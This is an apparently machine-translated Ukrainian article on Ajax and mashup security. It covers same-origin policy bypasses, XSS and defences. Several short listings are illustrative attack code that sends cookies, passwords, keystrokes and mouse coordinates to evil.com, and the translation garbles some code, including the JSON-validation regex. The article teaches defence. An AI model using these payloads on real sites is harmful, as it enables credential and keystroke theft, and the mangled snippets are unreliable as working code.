Усунення загроз безпеці Ajax-додатків

Технологія Asynchronous JavaScript + XML (Ajax), що є ключовою технологією в Web 2.0, дозволяє відокремити взаємодія користувача з Web-сторінками від взаємодії Web-браузера з сервером. Зокрема, Ajax є основою mashup-додатків, які інтегрують вміст чи сервіси декількох сайтів в один користувальницький інтерфейс. Однак Ajax і технологія mashup дають хід новим типів загроз, пов'язаних з їх динамічної і Мультидоменні природою. Зустрітися з цими (пов'язаними з Ajax) погрозами і передовим досвідом їх усунення.

Ajax заснований на технологіях Dynamic HTML (DHTML), в тому числі:


У Ajax JavaScript-код на стороні клієнта динамічно оновлює вигляд Web-сторінки, змінюючи дерево об'єктів DOM і таблицю стилів. Крім того, асинхронне взаємодія, реалізоване наступними технологіями, дозволяє динамічно оновлювати дані, не перезавантажуючи всю Web-сторінку:


Зверніть увагу на те, що існують інші широко застосовуються в Ajax-додатках альтернативи JSON, такі як XML і неформатований текст. Тут ми вибрали для обговорення JSON, оскільки він деяким чином впливає на систему захисту, досліджувану в даній статті.


Освоєння політики єдності походження


Коли вміст з декількох джерел яким-небудь чином об'єднується в один додаток, ці джерела можуть мати різні рівні довіри, або необов'язково довіряють один одному. Природним вимогою є ізолювання вмісту різних джерел для мінімізації їх взаємного впливу.


Політика єдності походження (same-origin policy) є частиною механізму захисту сучасних браузерів, яка ізолює приходять з різних джерел Web-додатки, припускаючи, що домени представляють джерела. Тобто, якщо додатки в декількох вікнах або фреймах завантажені з різних серверів, вони не можуть мати доступ до даних і сценаріями один одного. Зверніть увагу на те, що політика єдності походження застосовна тільки до HTML-документів. JavaScript-файли, імпортовані в HTML-документ тегами <script src=”…” >, Вважаються частиною того ж джерела, що і HTML-документ. Ця політика реалізована у всіх широко використовуваних браузерах.


У контексті XMLHttpRequest політика єдності походження призначена для управління взаємодією програми з віддаленими серверами. Однак ця політика має лише обмежений вплив на додатки Web 2.0 з кількох причин:



Обхід політики єдності походження: JSON і динамічний тег script


Оскільки JSON є просто звичайним текстом з простою структурою, що використовує дужки, обмінюватися JSON-повідомленням можна на багатьох каналах. Через політику єдності походження ви не можете використовувати XMLHttpRequest при взаємодії із зовнішніми серверами. JSON with Padding (JSONP) – це спосіб обійти цю політику, використовуючи JSON в поєднанні з тегом <script>, Як показано в лістингу 1.


Лістинг 1. Приклад JSON





<script type=”text/javascript”
src=”http://travel.com/findItinerary?username=sachiko&
reservationNum=1234&output=json&callback=showItinerary” />

Коли JavaScript-код динамічно вставляє тег <script>, Браузер звертається по URL, вказаною в атрибуті src. Це призводить до передачі інформації в рядку запиту до сервера. У лістингу 1 як пар ключ-значення передаються параметри username і reservation. Крім того, рядок запиту містить вихідний формат, запитуваний у сервера, і ім'я функції зворотного виклику (тобто showItinerary). При завантаженні тега <script> виконується функція зворотного виклику, а повернута з сервера інформація передається через її аргументи.

Обхід політики єдності походження: Ajax-проксі


Ajax-проксі – це проксі-сервер рівня програми, що є посередником при обміні HTTP-запитами і відповідями між Web-браузерами і серверами. Ajax-проксі дозволяють Web-браузерів обходити політику єдності походження і, таким чином, звертатися до сторонніх серверів, використовуючи XMLHttpRequest. Тут можливі два підходи:



Обхід політики єдності походження: Greasemonkey


Greasemonkey – це розширення Firefox, що дозволяє користувачам змінювати стилі та вміст Web-сторінок динамічно, "на льоту". Користувачі Greasemonkey можуть зв'язати файли користувацького сценарію з набором URL. Ці сценарії виконуються при завантаженні сторінки з набору URL. Greasemonkey надає API для користувацьких сценаріїв з додатковими правами (у порівнянні з правами сценаріїв, що виконуються в "пісочниці" (sandbox) браузера).


Одним з цих API є GM_XMLHttpRequest, Який, у свою чергу, є, по суті, об'єктом XMLHttpRequest без політики єдності походження. Автоматизоване завдання може перевизначити вбудований в браузер об'єкт XMLHttpRequest об'єктом GM_XMLHttpRequest для отримання прав XMLHttpRequest на виконання міжсайтового доступу.


Використання GM_XMLHttpRequest обмежене тільки засобами угоди з користувачем. Тобто, Greasemonkey вимагає лише підтвердження користувача під час призначення нового користувацького сценарію конкретному набору URL. Проте не важко уявити, що деякі користувачі можуть бути обмануті, виконавши підтвердження, не усвідомлюючи його наслідків.


Дослідження сценаріїв атак


Не тільки розробники обходять політику єдності походження і відкривають можливості для атаки зловмисникам, а й поточні додатки також стають вразливими до атак при включенні шкідливого коду в Web-додатки. На жаль, шкідливий код може знайти свій шлях в Web-додатки різними способами. Ми коротко обговоримо ці можливі шляхи, значення яких зростає в контексті Web 2.0.


Міжсайтовий сценарії (XSS)


XSS – це типова атака, в якій зловмисник впроваджує шкідливий код в звичайний нормальний сайт. Двома основними XSS-атак є:



Атака з відбитим XSS використовує уразливі Web-додатки, що відображають вхідні параметри назад в браузер, не перевіряючи їх на наявність активного вмісту. Зазвичай зломщик заманює жертви для переходу по URL, використовуючи код, наведений у лістингу 2.


Лістинг 2. Приклад URL для відбитого XSS





http://trusted.com/search?keyword=<script>
document.images[0].src=”http://evil.com/steal?cookie=”
+ document.cookie; </script>

Припустимо, що на trusted.com розміщена функція пошуку, яка повертає результати пошуку разом з введеними ключовими словами. Якщо пошуковий додаток не фільтрує в URL спеціальні символи [наприклад, символи менше ніж (<) і більше ніж (>)], вміст тега <script> буде також вставлятися в Web-сторінку користувача, і в результаті ми будемо передавати кукі документа віддаленого сервера evil.com.


Збережена XSS-атака стає більш важливою у зв'язку з широким розповсюдженням Web 2.0. Основою Web 2.0 є спільний доступ, взаємодія та спільна робота, тому у потенційних зловмисників є більше шансів побачити вводиться іншими користувачами (за допомогою публічних мережевих сервісів (social network services – SNS), wiki або блогів) інформацію.


У будь-якому випадку перевірка і санітарна обробка вводятьсязначень є основою захисту від XSS-атак. Зазвичай Web-сервери видаляють сценарії з введеної користувачем інформації, але часто зловмисники для обходу цих фільтрів використовують уразливості, що призводить до масштабних атак, таких як хробаки (worms) Yamanner або MySpace.


Mashup-додатки


Mashup-додаток є Web-додатком, комбінує вміст і сервіси з декількох джерел в один інтегрований користувальницький інтерфейс. Типове mashup-додаток являє собою одне додаток, що виконується на стороні клієнта, тобто різні частини mashup-додатки можуть спільно використовувати інформацію та взаємодіяти за допомогою декількох ресурсів браузера, таких як дерево об'єктів DOM або властивості вікна браузера. Коли якась частина mashup-додатки пишеться зі злим умислом (або була підроблена), можливе впровадження у додаток шкідливого коду і, як наслідок, різні типи атак (аналогічних XSS), включаючи викрадення важливої для користувача інформації.


Ефект атаки


Тепер, коли ви знаєте, як зловмисники вводять свій код в додатки, розглянемо наслідки деяких типових атак.


Крадіжка кукі або паролів


Самої прямої вигодою для зловмисника є отримання важливої для користувача інформації, такої як паролі або куки. Оскільки впроваджені сценарії можуть звертатися до будь-якої частини дерева об'єктів DOM, вони в змозі, крім іншого, викрадати паролі з текстових полів форм реєстрації. Наприклад, в лістингу 3 наведено код, що викрадає інформацію і передає її на сервер зловмисника.


Лістинг 3. Приклад атаки: Крадіжка пароля з текстового поля







function stealpw(){
var pw = document.getElementById(“password”).value;
document.images [0]. src = "http://evil.com/imgs/stealpw?pw =" + pw;
}
document.getElementById(“button”).onclick = stealpw;


У цьому прикладі зломщик, перш ніж отримати дані користувача, повинен почекати, поки той не натисне кнопку submit. Ajax навіть полегшує роботу зломщика, оскільки дозволяє йому передати довільну інформацію на віддалені сервера, не чекаючи явних дій користувача, таких як натискання кнопки або посилання. Подібний тип трафіку зазвичай ідентифікувався б як підозрілу поведінку, але завдяки асинхронної природі Ajax-додатків цей трафік не виявляється.


Використовуючи аналогічний підхід, зломщик може також викрасти кукі документа відповідальних Web-додатків (наприклад, інтерактивних банківських додатків). Куки документа дають можливість зломщикові впровадитися у сесію або увійти в систему з викраденими повноваженнями.


Звернемо увагу на те, що Microsoft Internet Explorer версії 6 і вище підтримує HttpOnly-Куки, що не дозволяє доступ до кукі документа сценаріями на стороні клієнта. Однак, оскільки більшість Web-додатків не може покладатися на реалізацію браузера, це не покращує ситуацію.


Викрадення подій клавіатури за допомогою клавіатурного реєстратора


У лістингу 4 наведено простий приклад клавіатурного реєстратора, що викрадає події клавіатури на Web-сторінці і передавального їх на віддалений сервер. Це дозволяє зломщикові викрасти будь-які дані, введені користувачем; наприклад, якщо користувач використовує сервіс Web-пошти, клавіатурний реєстратор буде записувати і передавати весь введений текст зломщикові. Він може потім проаналізувати записані дані для вилучення конфіденційної інформації (наприклад, паролі і конфіденційне листування).


Лістинг 4. Приклад атаки: Клавіатурний реєстратор







function keylogger(e){
document.images[0].src = “http://evil.com/logger?key=”
+ e.keyCode;
};
document.body.addEventListener(“keyup”, keylogger, false);


Викрадення подій клавіатури за допомогою перехоплювача подій мишки


Програмні клавіатури стають типовим технічним прийомом для захисту важливої інформації, що вводиться від атак з використанням клавіатурного реєстратора, наприклад, PIN-коду для інтерактивних банківських сервісів. Проте перехоплювачі (sniffers) подій мишки можуть використовувати технології, аналогічні клавіатурним реєстраторам. Викрадаючи координати X і Y подій мишки, можна визначити, які клавіші були натиснуті. У лістингу 5 продемонстрований приклад перехоплювача подій мишки.


Лістинг 5. Приклад атаки: Перехоплювач подій мишки







function sniffer(e){
document.images[0].src= “http://evil.com/imgs/sniffer?x=”
+ e.clientX + “&y=” + e.clientY;
};
document.body.addEventListener(“mouseup”, sniffer, false);


Вставка неправильної інформації


Використовуючи DOM-інтерфейс, зломщик може змінити будь-яку інформацію в дереві об'єктів DOM. Наприклад, при виконанні користувачем інтерактивного переказу грошей існує можливість змінити номер рахунку призначення платежу на приналежний зломщикові. У результаті перекладені гроші надійдуть на рахунок зловмисника.


В іншому типі атаки зломщик може змінити таблицю стилів для приховування інформації від користувачів. Припустимо, наприклад, що Web-сторінка містить попередження, показане в лістингу 6.


Лістинг 6. Попередження






<style type="text/css"> # warning {color: red} </ style>

<div id=”warning”>The links in this page may refer to
potentially malicious Web pages, so be careful. </div>


Зломщик може змінити таблицю стилів для приховування попередження. Наприклад, в лістингу 7 наведено JavaScript-код, який змінює стиль попередження і робить його невидимим на білому тлі.

Лістинг 7. Приклад атаки: Приховування попереджень





var e = document.getElementById(“warning”);
e.style.color= “white”;

Рекомендовані дії


Тепер, коли у вас є базові знання про те, як можуть бути реалізовані атаки і якими можуть бути їхні наслідки, давайте коротко розглянемо деякі технічні прийоми, які можна застосувати для поліпшення захищеності Ajax-додатків.


Додавання перевірки введених значень


Як показали наведені приклади, більшість атак, впроваджуючи шкідливі сценарії, використовує уразливості на стороні сервера. Отже, перевірка на коректність введеної інформації є першим кроком для захисту Web-додатків. Перевірка вводу і очищення відсівають все активне або шкідливе вміст ненадійних даних.


Два типи перевірки введених даних:



Не можна вважати ведення чорного або білого списків надійним рішенням. Однак ведення білого списку зазвичай вважається більш захищеним варіантом. Отже, рекомендується використовувати ведення білого списку для очищення потенційно небезпечних даних.


Ще одним способом підвищити захищеність є модифікація (escaping) спеціальних символів [наприклад, зміна символу "менше ніж" (<) на "<lt;"] в рядку, переданої і відображається в браузерах. Деякі мови програмування надають корисні вбудовані функції для модифікації спеціальних символів.


Використання інструментальних засобів перевірки вразливості


Багато Web-додатки уразливі через схожих помилок програмування. Експерти по захисту розробили інструментальні засоби для виявлення цих небезпечних прийомів програмування. Такі засоби, звані засобами перевірки вразливості, виявляють можливі уразливості завчасно. Однією з найбільш типових вразливостей, які виявляються цими інструментальними засобами, є ситуація, коли програмісти забувають викликати процедуру очищення потенційно небезпечних введених даних.


Чи не генеруйте і не виконуйте код динамічно


В JavaScript-програмі можна використовувати кілька способів динамічного генерування коду. Однією з найвідоміших функцій є функція eval(), Яка дозволяє виконувати довільну рядок як JavaScript-код. Однак необережне застосування цієї функції дуже небезпечно. Уникайте використання динамічно згенерованого коду, поки це не буде абсолютно необхідно. На жаль, деякі широко поширені JavaScript-бібліотеки внутрішньо використовують функцію eval().


Безпечне використання JSON


Оскільки JSON заснований на підмножині JavaScript, він є вмістом сценарію, який потенційно може містити небезпечний код. Однак JSON – це безпечне підмножина JavaScript, в якому виключені присвоєння та активізація. Отже, багато JavaScript-бібліотеки використовують функцію eval() просто для перетворення JSON в JavaScript-об'єкт. Використовуючи дану ситуацію, зломщики передають у ці бібліотеки спотворені JSON-об'єкти для виконання функцією eval() свого небезпечного коду. Для безпечного використання JSON можна застосувати декілька підходів. Першим з них є застосування регулярних виразів, визначених у RFC 4627, щоб гарантувати відсутність в JSON-даних активних фрагментів. У лістингу 8 продемонстровано, як перевірити JSON-рядок за допомогою регулярного виразу.


Лістинг 8. Перевірка JSON-рядки з використанням регулярного вираження





var my_JSON_object = !(/[^,:{}[]0-9.-+Eaeflnr-u

]/.test(
text.replace(/”(./[^”])*”/g, ” “))) &&
eval(“(” + text + “)”);


Ще більш надійною альтернативою є використання JSON-аналізатора для синтаксичного аналізу JSON-даних. Оскільки граматика JSON досить проста, легко можна реалізувати такий аналізатор без істотних втрат для продуктивності.


Використання <iframe> при інтеграції підозрілого вмісту


Ви можете скористатися політикою єдності походження для утруднення отримання зловмисниками доступу до всього дереву об'єктів DOM. При завантаженні даних з різних доменів в <iframe> надайте цими даними свій власний контекст виконання JavaScript і дерево об'єктів DOM. Це запобіжить викрадення зломщиком інформації з головної сторінки. Доброю практикою є якомога більш часте використання <iframe> для обмеження ненадійного зовнішнього вмісту.


Висновок


У даній статті ми розглянули різні способи обходу політики єдності походження в додатках Web 2.0. Ми також продемонстрували в зв'язку з цим нові напрямки атак на Web-додатки. Ми обговорили звичайні типи атак і результати, яких можуть домогтися зломщики. Нарешті, ми завершили статтю коротким розділом передових методик усунення можливостей проведення деяких найбільш типових атак.


Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*